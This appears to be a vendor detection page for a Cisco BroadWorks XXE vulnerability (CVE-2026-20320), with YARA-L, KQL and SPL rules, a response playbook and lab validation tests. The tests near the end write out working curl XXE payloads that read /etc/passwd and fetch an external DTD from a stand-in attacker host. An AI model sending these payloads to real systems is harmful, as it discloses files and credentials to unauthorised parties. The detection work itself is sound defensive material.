Detect Cisco BroadWorks XXE (CVE-2026-20320) Exploitation in Google Chronicle
Detects attempted exploitation of CVE-2026-20320, an improper restriction of XML External Entity (XXE) reference vulnerability in Cisco BroadWorks. An unauthenticated, remote attacker can send a crafted XML message to the Open Client Interface - Provisioning (OCI-P) service. Because external entity resolution is allowed by default, the XML parser resolves external entities. A successful exploit can read sensitive files from the filesystem with the privileges of the Cisco BroadWorks user. This detection surfaces XML payloads containing DOCTYPE/ENTITY declarations, SYSTEM/PUBLIC external references, and file:// or http(s):// entity URIs within BroadWorks web, OCI, and application server telemetry. CVE-2026-20320 is listed in CISA KEV (known exploited).
MITRE ATT&CK
- Tactic
- Initial Access Collection Discovery
YARA-L Detection Query
// df00tech DF00-befa8ce08c · https://df00tech.com/detections/CVE-2026-20320 · licence: https://df00tech.com/detections/licence
rule cisco_broadworks_xxe_cve_2026_20320 {
meta:
author = "Argus Detection Platform"
description = "Detects Cisco BroadWorks XXE exploitation (CVE-2026-20320)"
severity = "HIGH"
reference = "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-bworks-xxe-uwUd7CEt"
events:
$e.metadata.event_type = "NETWORK_HTTP"
(
re.regex($e.network.http.user_agent, `(?i)broadworks`) or
re.regex($e.target.url, `(?i)(/oci|broadworks|xsp)`) or
re.regex($e.network.http.referral_url, `(?i)soap`)
)
re.regex($e.network.application_protocol_version, `.*`)
(
re.regex($e.target.url, `(?i)(<!DOCTYPE|<!ENTITY|file://|/etc/passwd|&xxe)`) or
re.regex($e.security_result.description, `(?i)(<!DOCTYPE|<!ENTITY|SYSTEM \"|file://|gopher://)`)
)
$host = $e.principal.hostname
match:
$host over 10m
condition:
$e
} Chronicle YARA-L rule detecting BroadWorks HTTP events containing XXE entity declarations and external references (CVE-2026-20320).
Data Sources
Required Tables
False Positives & Tuning
- Internal XML with local-only DTD subsets
- Authorized security assessment traffic
- Provisioning clients posting DOCTYPE-prefixed XML without external entities
Other platforms for CVE-2026-20320
Testing Methodology
Validate this detection against 2 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 XXE local file disclosure against BroadWorks OCI endpoint
Expected signal: Web/XSP access log entry for POST /oci/ with request body containing <!DOCTYPE, <!ENTITY, SYSTEM "file:///etc/passwd" and &xxe reference.
- Test 2 XXE out-of-band callback via external entity
Expected signal: Outbound HTTP connection from the BroadWorks host to attacker.lab.local:8000 plus a web log entry containing %remote; and an http:// SYSTEM entity.
References (4)
- https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-bworks-xxe-uwUd7CEt
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2026-20320
Response Playbook
Triage
- Confirm the source host is a Cisco BroadWorks component (Application Server, XSP/ADP, Profile Server, or Web interface) and determine whether the request reached an OCI/SOAP/XSP endpoint.
- Extract the full XML payload and inspect the DOCTYPE/ENTITY declarations: identify the SYSTEM/PUBLIC URI target (file path, http/https host) to classify intent as local file disclosure or out-of-band entity resolution.
- Check the HTTP response size/status for signs that an external entity was successfully resolved (e.g. file contents reflected in response or error).
- Correlate the source IP against known provisioning integrations, authorized scanners, and threat-intel/KEV exploitation reporting to rule out benign automation.
Containment
- Block the attacker source IP(s) at the perimeter/WAF and add a WAF rule rejecting XML payloads containing DOCTYPE/ENTITY declarations to BroadWorks endpoints.
- Apply the Cisco fixed release for CVE-2026-20320 (per cisco-sa-bworks-xxe-uwUd7CEt). Cisco states there are no workarounds; as interim risk reduction, restrict OCI/XSP interfaces to trusted management networks.
- If local file disclosure succeeded, rotate any BroadWorks credentials, certificates, and secrets that reside in readable configuration files on the affected host.
Evidence Collection
- Preserve raw web/XSP/OCI access logs and the full request bodies containing the XXE payloads, plus corresponding HTTP responses for scope-of-disclosure assessment.
- Capture outbound connection logs (DNS, HTTP, SMB) from the BroadWorks host for the attack window to identify out-of-band entity-resolution callbacks.
- Snapshot the BroadWorks host filesystem and parser configuration, and collect any files referenced by SYSTEM URIs (e.g. /etc/passwd, BroadWorks config/credential files).
Escalation Criteria
- !Escalate to incident response if an HTTP response or out-of-band callback confirms that file contents were successfully exfiltrated.
- !Escalate if the exploited interface was internet-facing or if credentials/secrets readable via the vulnerability are confirmed exposed, triggering credential rotation and BOD 26-04 remediation timelines.
Investigation Guide
Forensic Artifacts
- >
Web/XSP/OCI access logs containing XML request bodies with DOCTYPE/ENTITY declarations - >
Outbound DNS/HTTP/SMB connection records from the BroadWorks host to attacker-controlled hosts (out-of-band entity resolution) - >
BroadWorks XML parser configuration and application server error logs referencing external entity resolution failures or file reads
Tuning Guidance
Baseline legitimate BroadWorks OCI integrations and provisioning tools: many post XML with an internal DTD subset but no external SYSTEM/PUBLIC references. Require the presence of an external scheme (file://, http://) or a known-sensitive target (/etc/passwd) in addition to the DOCTYPE/ENTITY token to cut noise. Allowlist authorized scanner and integration source IPs. Raise severity to critical when an out-of-band callback or a reflected file-read response is observed. If OCI traffic volume is high, scope the query to XSP/web-facing interfaces and external source IPs only.
Hunting Queries
Hunt for BroadWorks requests over the past week that contain XML entity declarations or file:// external references, revealing XXE probing or exploitation.
// df00tech DF00-befa8ce08c · https://df00tech.com/detections/CVE-2026-20320 · licence: https://df00tech.com/detections/licence
union isfuzzy=true W3CIISLog, Syslog | where TimeGenerated > ago(7d) | extend p = tolower(coalesce(column_ifexists("csUriQuery",""), column_ifexists("SyslogMessage",""))) | where p has "broadworks" or p has "/oci" or p has "xsp" | where p has "<!entity" or p has "<!doctype" or p has "file://" | project TimeGenerated, Computer, p ``` df00tech DF00-befa8ce08c · https://df00tech.com/detections/CVE-2026-20320 · licence: https://df00tech.com/detections/licence ```
(index=web OR index=broadworks) | eval p=lower(_raw) | search (p="*broadworks*" OR p="*/oci*" OR p="*xsp*") AND (p="*<!entity*" OR p="*<!doctype*" OR p="*file://*") | stats count by host, src_ip Atomic Red Team Tests
Submits a crafted SOAP/OCI XML request with an external entity referencing a local file to a lab BroadWorks (or stand-in XML) endpoint to simulate CVE-2026-20320 file disclosure.
Command
curl -s -X POST "http://broadworks.lab.local/oci/" -H 'Content-Type: application/xml' --data '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><BroadsoftDocument><command xsi:type="UserGetRequest"><userId>&xxe;</userId></command></BroadsoftDocument>' Cleanup
rm -f ./xxe_response.xml 2>/dev/null; true Expected Telemetry
Web/XSP access log entry for POST /oci/ with request body containing <!DOCTYPE, <!ENTITY, SYSTEM "file:///etc/passwd" and &xxe reference.
Expected Detection
KQL/SPL/EQL rules fire on the DOCTYPE+ENTITY+file:// combination targeting a BroadWorks OCI endpoint.
Sends an XML payload with an external entity pointing to a lab HTTP listener to simulate blind/out-of-band XXE from BroadWorks.
Command
curl -s -X POST "http://broadworks.lab.local/oci/" -H 'Content-Type: application/xml' --data '<?xml version="1.0"?><!DOCTYPE data [<!ENTITY % remote SYSTEM "http://attacker.lab.local:8000/evil.dtd"> %remote;]><BroadsoftDocument><command/></BroadsoftDocument>' Cleanup
true Expected Telemetry
Outbound HTTP connection from the BroadWorks host to attacker.lab.local:8000 plus a web log entry containing %remote; and an http:// SYSTEM entity.
Expected Detection
Detection matches the external http:// entity reference and parameter entity (%remote) within a BroadWorks request; out-of-band callback corroborates.